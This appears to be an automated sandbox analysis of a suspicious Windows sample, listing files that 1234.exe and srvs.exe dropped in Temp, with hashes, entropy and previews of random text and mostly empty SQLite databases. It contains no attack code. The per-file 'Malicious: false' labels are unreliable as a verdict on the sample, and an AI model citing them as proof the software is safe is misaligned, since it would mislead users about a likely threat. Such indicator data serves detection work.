C:\Users\user\AppData\Local\Temp\tmp2570.tmp
Process: C:\Users\user\AppData\Roaming\1234.exe

File Type: ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 1026

Entropy (8bit): 4.69422273140364

Encrypted: false

SSDEEP: 24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh

MD5: A686C2E2230002C3810CB3638589BF01

SHA1: 4B764DD14070E52A2AC0458F401CDD5724E714FB

SHA-256: 38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC

SHA-512: 1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3
F

Malicious: false

Reputation: unknown

Preview:
SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGV
ZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBG
FVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEH
GPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNL
VNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXO
MQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPD
AWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFS
ECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJ
DBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGL
DYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\Users\user\AppData\Local\Temp\tmp4F3C.tmp
Process: C:\Users\user\AppData\Local\Temp\srvs.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 40960

Entropy (8bit): 0.792852251086831

Encrypted: false

SSDEEP: 48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw

MD5: 81DB1710BB13DA3343FC0DF9F00BE49F

SHA1: 9B1F17E936D28684FFDFA962340C8872512270BB

SHA-256: 9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB

SHA-512: CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  ..........................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................
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C:\Users\user\AppData\Local\Temp\tmp4F4D.tmp
Process: C:\Users\user\AppData\Local\Temp\srvs.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 40960

Entropy (8bit): 0.792852251086831

Encrypted: false

SSDEEP: 48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw

MD5: 81DB1710BB13DA3343FC0DF9F00BE49F

SHA1: 9B1F17E936D28684FFDFA962340C8872512270BB

SHA-256: 9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB

SHA-512: CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  ..........................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp55BC.tmp
Process: C:\Users\user\AppData\Roaming\1234.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 73728

Entropy (8bit): 1.1874185457069584

Encrypted: false

SSDEEP: 96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq

MD5: 72A43D390E478BA9664F03951692D109

SHA1: 482FE43725D7A1614F6E24429E455CD0A920DF7C

SHA-256: 593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C

SHA-512: FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7
CE

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  .......$..................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp55FB.tmp
Process: C:\Users\user\AppData\Roaming\1234.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 73728

Entropy (8bit): 1.1874185457069584

Encrypted: false

SSDEEP: 96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq

MD5: 72A43D390E478BA9664F03951692D109

SHA1: 482FE43725D7A1614F6E24429E455CD0A920DF7C

SHA-256: 593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C

SHA-512: FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7
CE

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  .......$..................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp742B.tmp
Process: C:\Users\user\AppData\Local\Temp\srvs.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 40960

Entropy (8bit): 0.792852251086831

Encrypted: false
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SSDEEP: 48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw

MD5: 81DB1710BB13DA3343FC0DF9F00BE49F

SHA1: 9B1F17E936D28684FFDFA962340C8872512270BB

SHA-256: 9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB

SHA-512: CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  ..........................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp742B.tmp

C:\Users\user\AppData\Local\Temp\tmp850C.tmp
Process: C:\Users\user\AppData\Roaming\1234.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 40960

Entropy (8bit): 0.792852251086831

Encrypted: false

SSDEEP: 48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw

MD5: 81DB1710BB13DA3343FC0DF9F00BE49F

SHA1: 9B1F17E936D28684FFDFA962340C8872512270BB

SHA-256: 9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB

SHA-512: CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  ..........................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp850D.tmp
Process: C:\Users\user\AppData\Roaming\1234.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 40960

Entropy (8bit): 0.792852251086831

Encrypted: false

SSDEEP: 48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw

MD5: 81DB1710BB13DA3343FC0DF9F00BE49F

SHA1: 9B1F17E936D28684FFDFA962340C8872512270BB

SHA-256: 9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB

SHA-512: CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  ..........................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9948.tmp
Process: C:\Users\user\AppData\Local\Temp\srvs.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 40960

Entropy (8bit): 0.792852251086831

Encrypted: false

SSDEEP: 48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw

MD5: 81DB1710BB13DA3343FC0DF9F00BE49F

SHA1: 9B1F17E936D28684FFDFA962340C8872512270BB

SHA-256: 9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB

SHA-512: CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1

Malicious: false

Reputation: unknown
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Preview:
SQLite format 3......@  ..........................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9948.tmp

C:\Users\user\AppData\Local\Temp\tmp9949.tmp
Process: C:\Users\user\AppData\Local\Temp\srvs.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 40960

Entropy (8bit): 0.792852251086831

Encrypted: false

SSDEEP: 48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw

MD5: 81DB1710BB13DA3343FC0DF9F00BE49F

SHA1: 9B1F17E936D28684FFDFA962340C8872512270BB

SHA-256: 9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB

SHA-512: CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  ..........................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp994A.tmp
Process: C:\Users\user\AppData\Local\Temp\srvs.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 40960

Entropy (8bit): 0.792852251086831

Encrypted: false

SSDEEP: 48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw

MD5: 81DB1710BB13DA3343FC0DF9F00BE49F

SHA1: 9B1F17E936D28684FFDFA962340C8872512270BB

SHA-256: 9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB

SHA-512: CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  ..........................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp997A.tmp
Process: C:\Users\user\AppData\Local\Temp\srvs.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 20480

Entropy (8bit): 0.6970840431455908

Encrypted: false

SSDEEP: 24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBocLgAZOZD/0:T5LLOpEO5J/Kn7U1uBo8NOZ0

MD5: 00681D89EDDB6AD25E6F4BD2E66C61C6

SHA1: 14B2FBFB460816155190377BBC66AB5D2A15F7AB

SHA-256: 8BF06FD5FAE8199D261EB879E771146AE49600DBDED7FDC4EAC83A8C6A7A5D85

SHA-512: 159A9DE664091A3986042B2BE594E989FD514163094AC606DC3A6A7661A66A78C0D365B8CA2C94B8BC86D552E59D50407B4680EDADB894320125F0E9F48872D3

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  ..........................................................................C....... ..g... .8......................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp997B.tmp
Process: C:\Users\user\AppData\Local\Temp\srvs.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001
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Category: dropped

Size (bytes): 20480

Entropy (8bit): 0.6970840431455908

Encrypted: false

SSDEEP: 24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBocLgAZOZD/0:T5LLOpEO5J/Kn7U1uBo8NOZ0

MD5: 00681D89EDDB6AD25E6F4BD2E66C61C6

SHA1: 14B2FBFB460816155190377BBC66AB5D2A15F7AB

SHA-256: 8BF06FD5FAE8199D261EB879E771146AE49600DBDED7FDC4EAC83A8C6A7A5D85

SHA-512: 159A9DE664091A3986042B2BE594E989FD514163094AC606DC3A6A7661A66A78C0D365B8CA2C94B8BC86D552E59D50407B4680EDADB894320125F0E9F48872D3

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  ..........................................................................C....... ..g... .8......................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp997B.tmp

C:\Users\user\AppData\Local\Temp\tmpA48F.tmp
Process: C:\Users\user\AppData\Local\Temp\srvs.exe

File Type: ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 1026

Entropy (8bit): 4.685942106278079

Encrypted: false

SSDEEP: 24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK

MD5: 3F6896A097F6B0AE6A2BF3826C813DFC

SHA1: 951214AB37DEA766005DD981B0B3D61F936B035B

SHA-256: E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60

SHA-512: C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C

Malicious: false

Reputation: unknown

Preview:
PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTM
EQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKY
RWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBL
ANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSI
VVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWY
ILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJT
XRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFY
JEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRT
KIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBF
IRIMTSICIANQBRVHJQBP

C:\Users\user\AppData\Local\Temp\tmpA490.tmp
Process: C:\Users\user\AppData\Local\Temp\srvs.exe

File Type: ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 1026

Entropy (8bit): 4.6969712158039245

Encrypted: false

SSDEEP: 24:zDLHcjI8IQ6sNUYzo1jfRRMF6zzC3ZzNTWx7M00:zDL4ImUYzebRR66C3Z0JMR

MD5: 31CD00400A977C512B9F1AF51F2A5F90

SHA1: 3A6B9ED88BD73091D5685A51CB4C8870315C4A81

SHA-256: E01ADE9C56AF2361A5ADC05ADE2F5727DF1B80311A0FDC6F15B2E0FFFACC9067

SHA-512: 0521ED245FA8F46DE9502CD53F5A50B01B4E83983CC6D9DE0CF02E54D2825C1C26A748CC27E24633DA1171CE0309323235ECF7EB536D4058214D7618794CF2FA

Malicious: false

Reputation: unknown

Preview:
PWCCAWLGRESZQJYMKOMIHTZVFVPFCSAZVTKGMPWIGSDMTLFZQLHJERDPYZCJGFCRLISWNBAMIMDXCWDVGVLWLRBEVYOOPHYWACKPZXSURGSIFW
TFUJKLSAQNAJEWDLUIKFHXLUAMUDGRAVFMICAHEZBIIEGWGAVVJHMHSIBGNLEHYVSOKQMYABDYCPEBOGBMYUCIGVRGYYQRAYNYHAIBMHOTRIZL
LYBECMXTCFUOVXXHSEMIUWSBDHOZIZZUXFTLKXXNEMXBKLCQDPKVZNOMDYUYJRWCVILZVJDNNBMPTNOFSKRQTILJRXTKDNUIYSQCAOPCQKTXYX
PPGZDZOQYLGYFPFIWNBSQZXYABPTNBJQNBZEETJSFXZNHXBRWUHOMCZAGZQJLNPMZFALBBPHBIXZHLBTBJLTUHPUYVUDWDFJANSIIDJVMUYLPZ
PYGAJWMTOHGILQWHKJDQUWMTSWIBVVZGAHCNWIFZNGNERRKMSIVXWXEXRZZEWYASCIYJYCOOBWRTNZELPWKFVZKZIBGQBLGCTSTNAJSWPHYJCQ
SYZVFRYFSRAVVXJIOHQCNVEOIMWPEAVCJLBHRUKDHJWPFMXAKTZVQCOUKYCBZFWBREKKHOHZVNMMJZGWIZEYRAIKTHMJRCWVWKNMJNSZHSDRUZ
SQOJKCTOSNGKOKEAWUIQNIYHWKIIDHKQIJWCSGRRLEVUTENXSNNVDVYDJTIWYNCAZIEBXMIROLIBTLMGEUOCECFFWLENTJSVHFKQHKAPBXQAJJ
SUOUSFCBQTHCFYZGSVVAUPLQELRWLXRCZSUSFUBCORCWMJPUNHTEEYODSFGJFTDZLLXMQYMIHIZXOYGABIAWYSBWLAJSCKBWGJBVMMJKBKLUHU
LJIUHQXIXESAUTNVVZNKMIVIOHPPQAWTQSEHTQMIWNPRZRETXZHRGWOTGIEHCCSGIUCKCIFCQPTAJOFCIMYSMCOPGASEEYCNQLXCNRAPQUSQXT
WPKPYCQXPE

C:\Users\user\AppData\Local\Temp\tmpA4C0.tmp
Process: C:\Users\user\AppData\Local\Temp\srvs.exe
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File Type: ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 1026

Entropy (8bit): 4.702247102869977

Encrypted: false

SSDEEP: 24:GwASqxXUeo2spEcwb4NnVEBb2Ag1EY9TDqVEQXZvnIx+:nAD1U6+Lwb4dV42x1EIeVlXZ/5

MD5: B734D7226D90E4FD8228EE89C7DD26DA

SHA1: EDA7F371036A56A0DE687FF97B01F355C5060846

SHA-256: ED3AE18072D12A2B031864F502B3DA672B4D4FA8743BEC8ADE114460F53C24D6

SHA-512: D11ED908D0473A6BEA78D56D0E46FC05DAE642C6ED2F6D60F7859BB25C596CDAA79CC7883FEA5C175A2C04BD176943FF45670B19D6A55B3D5F29FAF40A19AC
20

Malicious: false

Reputation: unknown

Preview:
QCFWYSKMHARLAFTMDAYCDPDNVLLXYAHYJQVDDKWMWZXTODMVQHOWYAKZGPKJEHLDEADLWAOYFHCRBONQYOLNJKXLXXPSVNNBUMGS
SHSRYIKKLNWBJSSZQFZBFWIPYYALBWYXPUCHCBPPPRVICZHAAXDBSBDAFSJSLRPZCKMILDLKTZJTTJWTRDUXPIOSWYRPJKVLJAGHSGEPPERRAQ
LAJLIRGZPORRNBHIKYMYWHJJKNXIQOPDJPXFLFPWXDCSZYFDTACTIFVHTTSPLEYMJQGMJBZKBTPKCSRPHSAJZDKKKDYFDICXMYAQSFGBCKRXTF
XXUYCXPOOHXIGGOZQXUOJXGUHUEOJLEOQQRFQRNQSWAOWAWOUVFMKBPTZVBCGRCYEHPXUWCDBHICKJYVGTNPPMEWNTSWYZNREIVB
OXSICNBJXTOOMRYUPEHBVWMTIZHWLGFFTIUYFBQKZOWLOZMSGJFBUHXKMGISFGKCABOUUUQJAUODQPPYPQJGLZVADLCCGHPBEUWSDDXYCCQVTR
QWCEJDTNAGHKGJTRWVAQBQJBUQWMJRXXASIQFFIUCPKMEXTJTVBDCBEYZDLKHCHQXMUBNRVRITBTYGULZYWAXVJAXNQEPONBFIAUWZCXQYHHPH
ZWKKUTNXAQELCSUFKXKKQLLKNVNOREOWTEVCFHSUGPNRMAPAFPTHPGPAJPOCFBZXTIYQYUSEJFOUEZDUJSRXDHTOZAMMNCCIXWLXFQZALVARMP
TDBNFJAJUMFQAHUJVWMEIDRIMZQXYHMCNBVLONHTHCXFAKSQBBXFBBFYSTIWNRKGOIHMIHZKIQSYCSFIRGLYFATERWSKAZLTFNMKHFVBLMXNER
MNYZHBEYHNFPIPCGHZZMBNNYITUETKSXMZHNSGROLAGIITATFDCBZCBLYQHHYFPBDWGCTQNYPHDHFBNVEJJDIVMSPKDXKQBUNSMLJDVGOKQUEV
KEVEUUSGEQJDKGYLPIDXNBIPBAJRUU

C:\Users\user\AppData\Local\Temp\tmpA4C0.tmp

C:\Users\user\AppData\Local\Temp\tmpA4C1.tmp
Process: C:\Users\user\AppData\Local\Temp\srvs.exe

File Type: ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 1026

Entropy (8bit): 4.69422273140364

Encrypted: false

SSDEEP: 24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh

MD5: A686C2E2230002C3810CB3638589BF01

SHA1: 4B764DD14070E52A2AC0458F401CDD5724E714FB

SHA-256: 38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC

SHA-512: 1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3
F

Malicious: false

Reputation: unknown

Preview:
SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGV
ZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBG
FVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEH
GPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNL
VNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXO
MQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPD
AWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFS
ECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJ
DBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGL
DYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\Users\user\AppData\Local\Temp\tmpA4C2.tmp
Process: C:\Users\user\AppData\Local\Temp\srvs.exe

File Type: ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 1026

Entropy (8bit): 4.685942106278079

Encrypted: false

SSDEEP: 24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK

MD5: 3F6896A097F6B0AE6A2BF3826C813DFC

SHA1: 951214AB37DEA766005DD981B0B3D61F936B035B

SHA-256: E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60

SHA-512: C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C

Malicious: false

Reputation: unknown
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Preview:
PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTM
EQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKY
RWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBL
ANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSI
VVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWY
ILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJT
XRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFY
JEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRT
KIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBF
IRIMTSICIANQBRVHJQBP

C:\Users\user\AppData\Local\Temp\tmpA4C2.tmp

C:\Users\user\AppData\Local\Temp\tmpA4C3.tmp
Process: C:\Users\user\AppData\Local\Temp\srvs.exe

